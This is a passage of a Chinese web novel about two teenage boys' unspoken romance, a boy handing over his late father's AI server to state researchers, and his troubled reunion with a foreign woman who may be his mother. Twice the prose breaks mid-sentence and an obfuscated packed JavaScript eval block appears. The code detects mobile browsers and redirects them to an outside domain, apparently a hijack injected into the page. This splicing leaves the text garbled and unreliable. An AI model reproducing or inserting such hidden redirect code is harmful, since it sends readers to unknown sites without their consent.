何西说,“其实儿子大了,你这样贸然开他房门就不太好。” “不看我怎么知道!” “那你现在知道了,领导您怎么打算?” “我不想怎样!而是,他们才半大的孩子……我不知道怎么形容这种心情!我没有心理准备!……而且,他不是一直很喜欢小维么,怎么那么突然……” 何西笑着拥抱了太太一下:“你呀!冷静一下!给你个镜头就能脑补出一场电影!” “喂……在我这……嗯,行。”何嘉南已经尽量压低了接电话的声音,但还是把唐晔吵醒了。 何嘉南专注地看着他,长长的睫毛如同细致的扇面,轻柔地覆盖在紧闭的眼睑上,形成一道优雅的弧线,随着这蝴蝶翅膀的轻颤,那双紧闭的眼睛开始缓缓张开,如同晨曦中的花朵,随着阳光的照射,慢慢绽放。他眼中的光芒逐渐聚焦,从朦胧到清晰,仿佛整个世界都在这一刻变得鲜活起来。 “早!把你吵醒了?”何嘉南温柔地对他说。 在何嘉南的身边醒过来,唐晔觉得前所未有的精力充沛。“早!” 真开心! 没想到有天自己也会词穷。 “都是何柏文!一早打电话来骚扰。……他说昨晚你们两兄弟吵架了,是吗?”对面的男生问道,他薄而有力的嘴唇一张一合,十分好看,声音里透露出强健的活力,却也不失温柔与关怀。 昨夜。吵……不算吧。交接Nuit累了一天一夜,被大姐骂了、打了。深夜回到家,被哥哥痛骂了一顿、狠狠赶出家门。他没有自己的空间可以躲藏。 何嘉南看着他的眼神灰败下去,便用自己的额头紧紧贴着他的额头:“抱歉,不想说可以不说,我陪着你。” “嗯。” “虽然我很心疼你这么难过,但我很开心,你难过时会来找我。” “嗯——。” 两人的额头已经紧紧顶在一起。 对于主动拥抱另一个人,唐晔非常生疏,甚至动作都有点僵硬,但并不妨碍他在那一瞬间,用笨拙的动作大胆地表达了自己想靠近何嘉南的愿望。 直到何妈妈敲了门,两人吓了一跳,才依依不舍地分开。 两人几乎午饭时间才起了床,洗漱完来到饭桌前,唐晔再次礼貌地向何家父母道谢。 何西与昨晚态度相仿,但何妈妈态度却冷冷淡淡。 吃饭时,两父子尽量地想让气氛热烈起来,但看起来却不是十分成功。 饭后,两个男孩回到房间,刚玩了一会儿电脑游戏,何妈妈就进来让他们做作业,刚做了一会儿作业,何妈妈就进来送牛奶、送水果。 “妈,您出去吧,我们自己呆一会儿。”看到唐晔饭后几乎一声不吭,何嘉南忍不住对妈妈说道。 黄莺反而一屁股坐了下来,摆出想和他们聊聊的架势。 何西经过儿子房门,一看这架势,心说不好,连忙说,“南南,难得周日下午,休息下,和朋友出去打打球吧。” 何嘉南感激地看了爸爸一眼,拿上篮球,拉上唐晔就出了门。 门一关上,黄莺就忍不住向丈夫发脾气:“这两个孩子什么态度!我需要了解一下事实,再花点时间去调整自己来接受这件事,难道有什么不对吗?” 何西赶紧哄太太:“现在八字没一撇的事情,你要是真的问下去,逼他们承认,你又无法接受,要是他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942755|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没这个意思,那你不是搞得他们连朋友都没得做吗?” 他又拍拍太太的背:“好啦,信得过南南,让他们自己先想清楚,行吗?” 何嘉南抱着球,带着唐晔在中大每一条小路上逛着,经过幼儿园,说起幼年和钟小琳一起登台表演的趣事;经过校内小型艺术展,带他进去逛一圈;经过历史建筑,又详细给他介绍着;经过球场,矫健的男生又和大学生师兄稍微玩耍了一会儿。 春和景明,校园的树木都发出嫩绿的芽。 他看着唐晔的墨蓝眼睛,被他们小时候的傻事逗笑、又因为展览的题材而忧伤、又为一些历史事件而震惊、又被自己打球时帅气有型的Pose惊艳到。 他很欣慰,很开心,很甜蜜,很满足。 看着饭点将近,他们又去体育场旁最受欢的学一食堂,找了二楼靠窗的位置坐下,倒数着夕阳的金光从玻璃上渐渐消失的时间,一边吃着丰盛的套餐和印着校徽的青团。饱餐一顿后,校园也渐渐沉入灰蓝。 他们又出了北门,沿着江边走着,过了海印桥又下楼梯,再沿着东湖路,慢慢地拐进合群路。 晚上九点了,隔一条小河涌的老东山,有栋小楼里有缠绵的琵琶声响起,拂过这个微醺的夜晚,向这个难忘的周末告别。 唐晔想起小时候曾读过的一首《少年游》的词,里面写道: 并刀如水,吴盐胜雪,纤手破新橙。锦幄初温,兽烟不断,相对坐调笙。 低声问:向谁行宿?城上已三更。马滑霜浓,不如休去,直是少人行! 昨夜到今晚,是仲夏夜之梦, 不如休去? 但,不得不去。 梦总要结束的。 像他们家庭那样美好的梦,不应该由自己沾污。——少年下意识是自卑的,因为从来没有得到过完整的爱。 他懂得这样发展下去,意味着何嘉南要经历什么,而这个梦幻般美好的家庭又要经历些什么。 何嘉南走在前面,刚准备踏上万里书院的台阶,唐晔拉住了他的衣角:“何嘉南,谢谢你。” 何嘉南回头笑着说:“不用跟我说谢谢,傻子!” 唐晔站到他所站的那一级台阶,看着他的眼睛,认真地说道:“我们还是好朋友,对吗?我希望我们可以继续保持之前的友谊,不要去改变它。” 何嘉南觉得这句话有点莫名的熟悉,像是在哪里听到过。回忆了半天,才突然理解他对自己说这句话的意思。 他一时不知道怎么回答。 停了不知多久,他才说:“我明白了。”甚至顾不上道别,他就转身离开。 他一直不停地大步走啊走啊,直到回到家,冲进房间,他才知道自己要停下来了。 对,这种奇怪的思绪,应该要停止了。 何西见他蹬蹬蹬回到家,木然地向父母问了好,问他吃晚饭没也毫无反应,便上楼敲了敲他房间门:“南南!下来喝点汤,妈妈留了给你。” “我不饿。” “我可以进来吗?” 见儿子并没有反对,何西说了句:“那我进来了”就自己打开了门。 儿子趴在床上,头埋在枕头里。他的个子,从床头一直到床尾,已经那么长了。 何西坐在床沿上,拍拍他肩膀。停了一会儿,轻声说:“傻孩子,你有我们,有朋友,有亲情有友谊呢!” 隔了一会儿,才听见儿子对着枕头闷闷地说:“嗯,还是朋友!” 唐晔上了楼,不敢尝试自己开门,他按了门铃。 陈姨来开了门,一看见他就紧张地问:“三少爷你这一天都去哪了?” 他勉强笑了笑。 唐晔进门时,唐天正好在自己房里,把医生开的药就着水吞进肚子,一边还和何柏文说道:“我的事,谁也不说,行吗?” 站在内窗前向大厅张望的何柏文点点头,又说:“病情虽然不说,但……我还是想提醒小晔一下对你说话别太过份。” “不要!不需要……”我就是害怕他像以前那样,害怕我,远离我! 这时,他们俩看见唐晔回到家了,脚步略为沉重地上了楼梯。 “你俩谈谈?”何柏文说,他所了解的是,两兄弟吵架了,然后唐晔负气离家。 看到何柏文打开哥哥的房门,然后哥哥也一起走出来时,唐晔后退了一步。 看到他看自己的眼神,唐天也畏缩地后退了一步。 何柏文看看兄弟俩,叹了口气,招呼两个人在二楼他们平常一起做作业的半开放式书房坐下,问唐晔:“小晔,你最近这一个月,一到周末你都去哪了?看你身体状态也不是很好,大家都很担心你。你哥哥也是因为太担心你,所以可能没控制好自己的语气。” 他这么说时,唐天略为心虚地抬头看了弟弟一眼。他们的问题远不止这样。 唐晔叹口气:“我应该跟大家早点说的,今天我也跟何嘉南说了。……在去年底的物理比赛时,我们队伍不是做了个智能机器人吗,那时我被发现某些部分使用了十几年前防务部和科研院共同开发的一个人工智能服务器,而这个服务器里的内容,由于我的生父、它们的创立者唐晚星的去世,失去了密钥,本来一直沉寂了十来年的。研究员们一直在尝试破解密钥,但一直未能成功。 我右眼的虹膜与唐晚星的相似,所以虽然我是从两年前才发现了它的存在,并用了一年多的时间尝试破解剩余部分,在去年十月份,我做到了。虽然已经过去了十来年,但它们依然先进。 我没有刻意隐藏与这个服务器的数据交换,管理员们都看到了,然后,上个月,查到我这里,让我把它们交还给防务部和科研院,并且由于我已经能熟练使用它了,让我也把我所掌握的使用方法也教给他们。内容很繁杂,所以,每个周末都在和那些技术人员交流。就是这样。” “那现在这件事情完成了吗?”何柏文一直都知道他头脑聪明,他懂得的东西深不可测,某些方面他能教授大人,并不奇怪。 “差不多了,下周,最后一次。”唐晔低下头。 “这个东西是晚星叔叔留下来的吧,你说交就交了?”身在从商家庭,唐天也想到了与姐姐相近的想法。 “对于我来说,有没有它,没什么不一样。只是,Nuit,就是里面的智能体,可能是我最接近唐晚星的人生和理想的唯一途径,我从未见过自己的生父,有了Nuit,就像他还活在我身边一样,但现在却要交还它……所以这段时间,我心里一直很难过。” 唐天走了过去,半蹲在他前面:“对不起,我都没有了解你的心情。只因为这段时间你总是在疏远我,所以我才……” 唐晔笑笑,向前张开手臂:“哥哥,我也不对,这段时间一直沉浸在自己的世界里,没有好好跟你沟通。” 唐天也伸出手臂抱紧他。 “哥哥,一切照旧?” “好,一切照旧。” 周一早晨,阳光透过薄薄的云层,洒在了繁忙的校园街道上。 何嘉南背着书包,有点垂头丧气地在单车棚放好车子。他的心情还有些低落,昨天的一幕幕在脑海中挥之不去。 一心疼、一心动,两心相印、两心伤,24小时像坐了过山车一样起伏不停。 自己的心意被他拒绝,他知道双方应该接受这个事实,但心里还是非常失落。 当他沉浸在自己的思绪中时,突然听到了一个熟悉的声音叫他名字,抬起头,只见唐晔正站在前面不远处,微笑地等着他。 晨光洒在他身上,他的白皮肤尤为动人,如同包裹了一层薄薄的光雾。 何嘉南有些愣住,不知道该如何回应,他犹豫了一下,还是走了过去。 “嗨,早啊!”唐晔率先打破了沉默,语气轻松自然,仿佛昨天的事情并没有发生过。 何嘉南点了点头,尽量让自己的声音听起来正常:“早。” 两人并肩走着,一时间竟有些无话可说。 何嘉南心中五味杂陈,他不知道自己该如何面对唐晔,也不知道该如何处理这份尴尬的关系。 唐晔察觉到了他的不自在,他轻轻叹了口气,说道:“昨天的事,我……希望你能理解。” 何嘉南抬起头,看着他的眼睛,点了点头,努力让自己的声音听起来平静:“我理解,唐晔。一切照旧?” 唐晔看着他,眼中依然温柔:“一切照旧。” 两人相视一笑,往校内走去,昨日矇眬的感觉已经烟消云散。 只是走到两个班的分岔路口,背过身的时候,何嘉南不会知道,同样背对着他的唐晔,需要花多少力气才克制住自己想要转身抱住他、诉说自己喜欢他、离不开他的冲动。 四月的第三个周六,智能体NUIT与智能服务器知识经验传授的课程圆满结束。防务部与科研院的代表们在一旁守候,对需要这个小少年的虹膜扫描的服务器密钥进行了修改,并接收了这份遗失了十三年的宝贵的研究成果。 唐晔静静地坐在会议室的主位,目光扫过四位与他并肩作战过的技术人员:赵新城、孙山、林栋以及吴凡。赵新城年轻有活力,眼神中充满对唐晔的敬仰。他起身走到唐晔面前,深鞠一躬:“小唐老师,您的教诲我会铭记,继续努力,不负所望。” 孙山则是一副笑嘻嘻的模样,拍拍唐晔的肩膀:“唐三少,有空得在群里和我们聊聊天啊,没你这小朋友在,群里冷清多了。” 林栋话不多,默默递给唐晔一个小盒子:“小唐老师,这是我的一点心意,希望您喜欢。” 然而,当众人目光转向吴凡时,气氛变得尴尬。吴凡对唐晔一直持有怀疑态度,此刻只是冷冷地看了他一眼。但唐晔并未不满,他微笑着走向吴凡,伸出手:“吴大哥,之前得罪了。我知道我们有些误会,希望你能放下成见,共同守护国家网络安全,发展人工智能。” 吴凡犹豫片刻,最终握住了唐晔的手。虽然表情冷淡,但唐晔看到了他眼中的释然。 在即将离开会议室时,唐晔停下脚步,转身看向四位技术人员:“虽然我不再参与你们的工作,但我会默默关注你们的项目,关注着NUIT的成长。它对于我,真的很重要。” 赵新城情不自禁走上前去拥抱了一下这个时而认真严肃、时而狡黠毒舌、却真正大功无私的小少年:“来京城了一定要来找我。” 孙山也上去大力拍着少年纤瘦的背,附和道:“对,去京城哥几个带你去吃遍京城好吃的!不比你们羊城的差!” “得了吧,就你们那个什么炸肠什么卤煮火烧?!那就谢谢了!”小少年笑着说。 一个幻梦。 少年不知何时就处在一片被浓雾笼罩的神秘森林。或许,是一出生,就在那儿了吧? 森林中的树木,一棵棵高大而茂密,它们的枝叶交错在一起,形成了一道道无形的屏障。 其中弥漫着灰色的雾气,紧紧地包围着他。 四周静谧而神秘,他的每一步都踏在未知的领域上,颤颤巍巍,步伐凌乱。 他抬头望向天空,却被挡住了视线,他感到了窒息的压迫感。 他渴望看见蓝天,他渴望阳光洒在他身上。 就在这时,森林深处传来了一阵金属敲击的非常悦耳的声音。少年顺着这金石之声走去,只见一朵洁白如冰晶的大朵花儿在雾中缓缓绽放,清香让他不自觉地放松了身心。那花瓣晶莹剔透,如同精心雕琢的玉石,散发出淡淡的微凉的光芒。 它的出现,给这片压抑的森林带来了一丝生机与希望。 少年被那朵巨大白花深深吸引,他小心翼翼地走向它,他相信它能带自己走出迷雾森林。 然而,就在他即将触碰到那朵花儿的时候,花瓣却突然片片散开,冰凉的水滴轻轻拂过他的脸颊。 少年愣住了,望着那朵已经消散的莲花,化成了碎片,要他怎么捡。 …… 22. 第 22 章 五一假期的一晚,夜朗星稀,空气里洋溢着南粤特有的湿润与温暖。刚洒过一阵雨,清吧外面座位上的人们都往屋里钻去,不是太大的酒吧里更显拥挤。 最近几星期,常客们都听说有个挺帅的中学生每周六都来表演,歌唱得挺好是一个方面,有时甚至还会包了全场的酒水。所以每周六,这儿人气就更旺了。 但今晚,那个长发少年并没有按平时习惯的唱迷幻摇滚,而几乎全唱的是周董的校园风歌曲,晴天、等你下课、简单爱什么的。 一曲终了,他走下台。两个可能刚加完班的年轻小姐姐向他搭话:“天儿,怎么今天这么清纯,姐姐们听得都想谈恋爱了!” “谈恋爱的话,考虑一下我?”唐天边笑着回撩这两位20多岁的姐姐,一边对着吧台喊道:“给这桌两位小姐姐上两杯莫吉托,记我账上!” 他继续走向角落的一张桌子,那里有他最熟悉的几个朋友。 六个中学生模样的,三男三女,安静地坐在酒吧的角落里看着他。 唐天脸上洋溢着自豪与喜悦。他走到朋友们的身边,与他们围坐在一起。 “哥哥唱得真好!”唐晔放下手里的橙汁,率先开口,眼中闪烁着赞赏的光芒。 “是啊,每次听你唱歌都觉得特别享受。”黎梓茵也附和道,一脸沉醉,脸上露出了甜美的笑容。今天她一反之前的暗黑系风格,而是戴着一顶粉红色的假发,唇膏也换成了樱桃色,还在眼睛下面贴了三颗心型的粉钻。 “干嘛你俩今天都换了风格,难道要官宣?”钟小琳的嘴永远都出人意料。 听她这么一说,黎梓茵居然一反常态地露出一个羞涩的微笑。唐天虽然一边笑骂着:“别乱说,我们纯洁得很!”一边却搂过黎梓茵的头,悄悄在她耳边说:“今晚过来我家!”语气却十足十的不容反驳。说话的时候,不自觉地看了一眼坐在斜对面角落的弟弟。 只有坐在那个方向的唐晔看到他的这个轻佻的眼神,不由得微微瑟缩了一下。 坐他旁边的何嘉南立即转头看他:“怎么了?” “没有,可能有点儿困了。”他打起精神摇了摇头。 “知道你最近辛苦了!”何嘉南语气里满满的安慰。 “你这几个周末都在忙些啥?”这次连袁雅维也来了。 “花了好几周给我爷爷和别的几个老头那边搞些软件之类,现在终于搞完了。”唐晔答道。 那边,唐天又在黎梓茵耳边小声说:“再唱两首歌,我们就走。” “好!”毕竟还是中学生,平时扮得很酷的女生,已经面红耳热了。 唐天暗暗在她的腰上捏了一把,又晃了晃她手里的那个装着粉红色饮料的磨砂玻璃瓶,拿过来浅尝了一口:“这是酒啊?” “嗯,低度的预调酒。”她又凑近他耳边说,“今天悄悄地在超市买的。” “真坏。”他几乎咬住她的耳垂说话。又蜻蜒点水般在她侧脸亲了一下,转身就往台上走去。 唐晔几不可闻地叹了口气,他扫视了大家一圈,目光隔着大半个桌子落在何柏文身上:“柏文哥哥,你们今晚要不要来我们家玩?” 何柏文本来想着作业没做完,刚想拒绝,却看见唐晔的眼神里乞求的意味,他顿了一下。 钟小琳马上说:“好呀好呀!”她早就听说他们家很大,父母又不管。这一圈朋友里就差她还没去过了。 何嘉南吐槽她:“人家又没叫你,你这么主动!” “反正我刚才听到了,听者有份!”她又问旁边,“小维你来吗?” 袁雅维说,“我得先打个电话问问爸妈。” “那我们都问问吧,来来,都打个电话告诉家里!”看来钟小琳已经都替所有人作了决定。 何嘉南问:“我也可以去吗?” 唐晔目光熠熠地看着他:“当然可以呀!”我希望你来。 “那你刚才为什么问何柏文不问我?我还以为你不想我去,哼!”何嘉南不由得小傲娇一下。 “……你们两兄弟不是几乎连体的么?”唐晔随口胡谄。 “连体?你再说一次?”何嘉南作势要敲他脑袋,小少年连忙捂着自己额头,惹来其他几个人一阵嘲笑。 何嘉南又不满地说:“我就奇怪,为什么你要叫何柏文哥哥,叫我却直接叫名字?” “他是哥哥的朋友,按辈分来说应该叫哥哥;你是我同学,我为什么要叫你做哥哥!”比他们小了差不多两年的小少年声音糯糯的,却振振有词。 “哧!原来是因为还隔了一重关系。小晔,我伤心了!”何柏文也加入了逗他的行列。 酒吧的灯光变得更加昏黄而迷离,空气中弥漫着淡淡的酒香和烟草的气息。小小的舞台上,长发白T的少年歌者静静地坐在高脚凳上,他的目光深邃而专注,仿佛整个世界都凝聚在他手中的吉他上。 他轻轻地拨动琴弦,细长的手指像在琴弦上跳舞,前奏的旋律如同清晨的微风,温柔而清新。“接下来是《告白气球》。”他的声音清澈而富有磁性,像是山涧中的溪流,悠然自得地流淌着。 他闭上眼睛,嘴角勾起一抹淡淡的微笑。当他唱到“亲爱的,爱上你,从那天起,甜蜜得很轻易”时,他的嘴角勾起一抹甜蜜的微笑,向他们那一桌望过来,眼神却仿若穿透了围墙,不知看着过去的哪一刻。 一曲终了,掌声和欢呼声在酒吧里响起。他微微点头表示感谢,红色的发带刚好被风扇吹过来,挡住他的眼睛。他微微偏头让发带滑走,像极了平时唐晔凝神准备开始弹奏古琴时的动作。然后他又开始弹奏下一首歌曲。 与前一首歌不同,他的表情变得更加凝重和深沉。他紧握着吉他的琴颈,手指在弦上用力地滑动,前奏的每一个音符都充满了力量和情感。是《不能说的秘密》。 唐天眉头紧锁,眼神中透露出一种无法言说的忧伤。开口唱“冷咖啡离开了杯垫,我忍住的情绪在很后面”时,他的声音微微颤抖,仿佛正在经历一场内心的风暴。 当歌曲进入副歌,情感也达到了顶点。他用充满了力量和激情的声音,齿间的每一个字句都如同燃烧的火焰,照亮了他内心的黑暗。“你用你的指尖,阻止我说再见,想象你在身边,在完全失去之前……”他的手指在吉他的弦上疯狂地跳跃,仿佛在与命运进行一场激烈的较量。最后一个音符落下,他的情感却难以回归平静,让熟悉他的乐手觉得,当他唱副歌时,难得一见的是,他的声音居然有点儿飘。 台下众人都鼓起了掌。他向听众们致了意,把自己的吉他收拾好,和酒吧还有乐队们打了招呼,回到同学们身边,接手了黎梓茵手里那瓶还没喝完的低度酒全灌进自己喉咙,又招呼大家,“走了!” 唐天推着黎梓茵走在前面,一回头,弟弟和全部同学们都跟在身后。唐天奇怪地问:“你们去哪?” “去你家!”钟小琳得意洋洋地抢答。 “不会吧!你们全部?”唐天一脸懵,这怎么回事。 何柏文连珠炮似的说:“反正你们家那么大,再睡多十个人都睡得下,这么晚回去,我可不想我爸罗嗦我。反正我说了我要是失踪,让我爸向你们唐氏集团索赔,哈哈哈哈。”其他人纷纷表示极度赞同。 “这都能赖上我!唉,都来吧都来吧!”唐天故意叹了一大口气。 酒吧在老东山,只要拐过几条小街巷,就到他们家。 从进了万里书院大门、上电梯、进了他们家再楼下楼上参观一圈,钟小琳一直哇哇哇地羡慕个不停,“哎,你们两兄弟难道都没看上我?考虑一下吧!姐姐我长得又美、人又聪明,生的孩子智商肯定不低!” “我怕的是没遗传到你的脑筋和脸,倒遗传到你这张嘴!”唐天翻了个白眼。 “嘿!我还怕孩子没遗传到你嗓子,倒遗传你这脑袋呢!你呢,唐晔,觉得我怎么样?”钟小琳逗完大唐又逗小唐。 唐晔坐在沙发上,囧得把头埋在抱枕里。 “小晔是嫌你拉低他的智商!”何柏文吐槽好友也毫不留情。 “你别以为!生物学常识告诉我们,孩子智商随妈!不随爹!”钟小琳得意洋洋,“姐不差的!月考全年级基本上在二十名上下。” “比成绩,袁雅维还没出声呢!”何嘉南接力吐槽。 “哎,你们斗嘴可别带上我,我们可是一辈子的好闺蜜,才不因为男人伤和气!”袁雅维抱着钟小琳说。 “好,那你记得别跟我抢!”钟小琳却毫不给面子,大家笑成一团。 几个人看着电视,有一搭没一搭地聊着天。门铃响起,他们点的外卖烧烤到了。陈姨出来应了门,把食物和餐具都摆好在餐桌上,毕竟有点年纪,她呵欠连天,唐晔便吩咐她关上门先休息。 他转头招呼大家过来吃东西,却发现哥哥带着黎梓茵不知去了哪里。 大家围在饭桌旁坐下来准备开吃。唐晔犹豫了一下,小声恳求何柏文:“柏文哥哥,你能陪我一起去叫哥哥吗?”何柏文应了声,放下竹签跟着他上楼。 二楼唐天的房间,房门半开着,里面却传出了呢喃声,像是两个人在热烈地耳鬓厮磨。 唐晔想伸手敲门,却瑟缩一下,回头看了一眼何柏文。何柏文会意,走上前一步,大声喊:“唐天,下来吃东西了!”说着,装做啥也不知道似的,猛地把门推开。 只见唐天坐在床上,黎梓茵面向他坐在他大腿上,镶着花边的T恤已经歪到一边,露出了一侧的肩膀和锁骨。见有人进来,她连忙把插入唐天长发间的手抽了回来,拉好自己的衣服。 唐天本来把头埋在她露出的肩膀上。听见声音,他缓缓地抬头、睁眼,看了两个男生一眼,又缓缓地松开了怀里的女生。 两个闯进来的男生看见他的眼圈微红,眼神里却饱含着狂野的兽性。唐晔后退了半步,停在那儿再不敢向前迈。 何柏文继续大声说道:“烧烤到了,快下去吃吧,饿死了!” 黎梓茵像醒过来似的,马上从唐天身上下来,整理一下衣服,低着头自己蹬蹬蹬下了楼。 唐晔深深地看了哥哥一眼,连忙也跟着下去了。 房里只剩下他们两个,何柏文皱着眉头对唐天说:“喂,毕竟都是同学,别玩得太过了。” “我管其他人如何!何柏文。……他怕我!你看到他的眼神吗?……他在怕我啊!”像终于用完全身力气一样,唐天倒在了床上。 周五下午放学,与何嘉南在大道上分别,唐晔独自骑车转入合群路。快到万里书院时,路边有台车轻轻按了按喇叭。 他下意识转头看了看司机,竟然是何西。“啊,叔叔?何嘉南刚走。”他刹了车,话刚出口突然又想到,何西又怎么会在我家楼下等自己儿子呢! 直到后面摇下车窗,看见何耀祖略带愁容的老脸,唐晔才想起,前几天有个新闻:科研院某研究所负责人何粤同志因事故不幸遇难。 记得上个月,当龙之城交接到一半时,这个戴着黑框眼镜的国内人工智能专家就有事出差到外国去,后半部分的交接工作,除了防务部的四个大哥哥,他们科研院就只有他的女助理出席。 现在他一死,看来他所负责的研究工作就无从开展了,何耀祖必是为此而来。 “何爷爷,您有啥事,直接找我爷爷说吧。没必要来找我这小屁孩,给自己添堵。”他对何嘉南父子有深厚感情,但不代表他对被爷爷称为何老怪的、整天用严厉眼神盯着他的那两老头子有什么好感:一个何老怪,还有一个,自己给他起个外号叫“张门神”吧,他那脸黑得跟门神没啥两样。他胡思乱想道。 “站路边说话很不方便,上车!” “我能说不吗,今晚的作业多得很!” “很快,就前面不远。” 小少年叹了口气,停好自行车,进去让前台小姐姐把自己的书包送上楼,就上了他的车子,“带我去哪呀!” “见一个人。” 还真不远,但不是两个月前就常到的那个不知名的疗养院,而是另一处小楼,看外表像个私房菜馆。 何耀祖带他先下了车,进了楼里。从下车开始,一双蓝得纯净的眼睛一直专注在这个男孩身上。直到听见他们上楼的脚步声,眼睛的主人才慢慢站起来,转过身。她身边还站着一位像钢铁巨大般威武的高加索血统的白人大汉,这时,按她的吩咐,退入一侧的小房间里。 女人整理了一下身上的着装,端庄整洁,没什么好摆弄的。她的两只手不知道该摆哪去,又向窗外看了看,只看到何西停好车走出车子进入楼房。而刚才的一老一小呢?怎么还没上到这一层? 终于听见老人打招呼的声音,这个蓝眼睛的优雅的外国女人转过脸来—— 一瞬间,少年像被施了魔法一般,定在那里。 卡佳? 卡佳。 “卡佳——” 少年记得,多少年前,自己曾追着她的背影,反复呼叫她的名字。 而她当时没有回头。 这次,她回头了。蓝色的如大海一般深邃的蓝色眼睛一直注视着他。他似乎要沉进这温柔的大海里了。 这高个子的年轻外国女人也像被什么吸引住一样,从唐晔进门的那一刻开始,深蓝的眼睛一直盯着这个瘦高的少年。 何耀祖正要开口说些什么。 少年慢慢向楼梯退去,像是要逃跑。 外国女人看向少年的视线被摆放的中式屏风隔断,她就忍不住快走了几步来到他前面。她很高,比上了初中的少年还要高出半个头。 外国女人开口说话了,她说了一个单词,声音如梦似幻,却不是英语。她专注地看着只看得到半张苍白小脸的男孩,却似乎看见他在发抖。她不知所措,又突然觉得,自己不应该俯视他,这样的视角一定让男孩觉得自己更害怕。她顾不上几乎及地的长连衣裙,蹲在这男孩面前,张开双臂,抬头注视着这个混血男孩。她再次温柔地说了句话。 唐晔听得懂她是在跟他说,你好。 他听得懂北国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942756|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语。潜意识里就懂。 只是伴随着这个记忆的,是他近年来逐渐忆起却不愿再去回想的往事。一群从未吃饱喝足过的骨瘦如柴的大小孩子,一只只伸向豪华旅游大巴的肮脏小手,一条他自己挣钱买的被打落的硬面包。 这时,像巨人一样高大的外国中年男人来到外国女人身后半蹲下来,托住年轻女人把她架起来,拍着背小声地安抚她两句。 唐晔突然很害怕,害怕到无论现在手里能抓住什么,都可以当作救命稻草。他颤抖的双手紧紧地抓着楼梯的扶手,仿佛那是他唯一可以依靠的支撑。他的手指关节因为用力过度而发白,仿佛被寒霜侵蚀,冷得透骨。 他的心跳如同疯狂的鼓点,在胸膛里狂乱地敲击;他的呼吸变得急促而短促,每一次吸气都仿佛是在与死神抢夺生命的氧气;他的额头上渗出了细密的汗珠,冷汗顺着脸颊流淌下来,与心中的恐惧交织在一起。 看到这个大汉,他就想起那双蒲扇般的大手,那个恶臭的血腥的不动了的人……他忍不住尖叫起来,转身就往下冲去。 何耀祖迷惑不解地看了一眼这位年轻的外国女性。而同样地,两位外国人也同样迷惑不解。 何西刚好上了二楼,一把抱住从三楼狂奔而下的少年:“唐晔同学,小晔,你怎么了?”像小时候安抚自己儿子一样,他也把这个半大的孩子当成自己小孩来抚慰。 男孩慌乱之中一直在哭叫着几句外语,何西听不懂。 泪流满面的男孩瞪着一双漂亮的幽蓝色眼睛,逼问着好友的父亲,看着何西懵懂的神情,他才反应过来,说回中文:“她是谁?” “她是卡佳女士,是邻国的科研院某部门的负责人,她负责的项目与我们科研院某项有着密切合作关系。”何西解释。 何耀祖从楼上走了下来,外国女士紧跟着他的步伐。 何耀祖有些愕然地看着少年的举动,回想起唐万里老弟的话,他曾在孩子年幼时让人通过深度催眠修改了他的记忆,只为让这男孩永远留在身边。 他叹了口气:唐老弟必是认为,是这位女士引导他的宝贝儿子走向毁灭。他留下这位女士的儿子,并让他对自己的亲生母亲心生怨恨。估计多年来,在持续的暗示下,男孩心目中的母亲形象如鬼魅般可怕,这也正是他现今反应如此的原因。 在何西的安抚下,少年趋于平静。他深深地呼吸着窗外的东湖里吹来的南风,总算是把脑海里的一些让他恶心的幻觉给压了下去。 他用纸巾擦干净脸庞,深吸一口气说道:“说吧,上次是交出NUIT和龙之城,这次您又要我做些什么?” “你怎么这么喜欢谈条件!”何耀祖皱起眉。 "嘘——!别说废话,让我猜猜,何粤大叔去世了,你该不会打算送我去科研院吧?"他疲惫地闭上眼睛。 侄子去世,古稀之年的何耀祖悲痛欲绝,但他实在顾不上自己的悲伤,何粤一死,科研院的这个本来超前、现在却已经是追赶的项目几乎又要停滞不前了。而把这孩子带进这项目,既是何粤的心愿,也是对这男孩的认可。 老人说道:“孩子,你的能力不止表面这些,你应该有更宏大的人生目标。” “更宏大的人生目标?拯救银河系吗!”少年突然逼近何耀祖,“我想怎么样,您知道吗?……我跟您,很熟吗?”一字一顿地说道。 这时外国女士开口了,说的是纯正的中文:“孩子,你可以对我置之不理,但你知道,由于晚星亡故,龙之城的开发已经越拖越久了……”她尽量压抑着见到这个男孩的激动心情,多少年了,他仿佛一直活在自己身边一样。他的每一个微笑,每一次的鼓励,都成为她前进的动力。 晚星?叫得真亲密呢!他心想,你谁啊?为什么我要相信你?难道,你真是我的……妈妈吗?是那个不顾我呼唤、抛下我、执意向前走的妈妈吗? “你们说的事情,与我有关系吗?”少年终于转头看了她一眼,又微微眯起眼睛。 在这位女士看来,他的这个表情,与唐晚星一模一样,看来有些习惯,刻在基因里。 何耀祖说:“小晔,我国AI发展需要你,而且你的母亲所主导的部门也与我们科研院相关部门有合作,你也能够经常见到自己母亲……” “何爷爷,我能问这位女士一句话吗?”他突然又问老人。 老人想着是不是两母子有话要说,便点了点头。 少年转向外国女人,说了大概四五句北国语。 何耀祖不奇怪他懂北国语,这少年懂什么,对于他的头脑,似乎都不意外。只是语气听着却像在谴责着什么。 看见外国女人无言以对,却露出哀伤和愧疚的神色,少年满意地笑了,说回中文:“我知道了。你们的提议,我会考虑一下。我可以走了吧?” 何西忙说:“小晔,我送你回去吧!” “不用了,就这几步路。”说着,头也不回地走了下去。 